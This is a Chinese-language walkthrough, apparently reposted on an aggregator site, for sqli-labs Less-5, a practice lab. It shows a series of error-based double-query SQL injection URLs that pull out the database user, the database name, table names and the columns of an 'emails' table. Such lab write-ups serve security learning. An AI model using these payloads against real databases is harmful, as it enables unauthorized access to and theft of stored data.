Sqli

您所在的位置:网站首页 西南交通大学成考招生网官网 Sqli

Sqli

#Sqli| 来源: 网络整理| 查看: 265

首先弄一个id出来查看有什么显示出来。

显示上面的内容出来。

这个什么提示信息都没有,但是题目提示有双查询和单引号,那可以进行双查询注入。

/sql/Less-5/?id=1' union select 1,count(*),concat_ws(':',(select user()),floor(rand()*2)) as a from information_schema.tables group by a %23

用上面的payload 发送后发现,没有什么效果,和上面显示是一样的,可以试几次就可以得到下面的结果。

这样我们就获取到了数据库的用户,修改上面的payload就可以获取数据库名

/sql/Less-5/?id=1' union select 1,count(*),concat_ws(':',(select database()),floor(rand()*2)) as a from information_schema.tables group by a %23

在接下来数据库名有了就可以查询表名。

/sql/Less-5/?id=1' union select 1,count(*),concat_ws(':',(select table_name from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a %23

这里返回子查询返回不止一行,因为上面没有用limit限制返回结果翻译出现了这个问题,我们可以继续使用limit限制返回结果一条一条的查看数据库中的字段,也可以使用聚合函数group_concat将返回结果聚合为一条结果。

这里先演示一下使用limit的情况

/sql/Less-5/?id=1' union select 1,count(*),concat_ws(':',(select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a %23

接下来演示一下,使用聚合函数的情况

/sql/Less-5/?id=1' union select 1,count(*),concat_ws(':',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a %23

获取到数据表之后查询数据表的结构,也就是把数据表的字段名都查出来。

/sql/Less-5/?id=1' union select 1,count(*),concat_ws(':',(select group_concat(column_name) from information_schema.columns where table_name='emails'),floor(rand()*2)) as a from information_schema.tables group by a %23

结束。

 

 

 



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3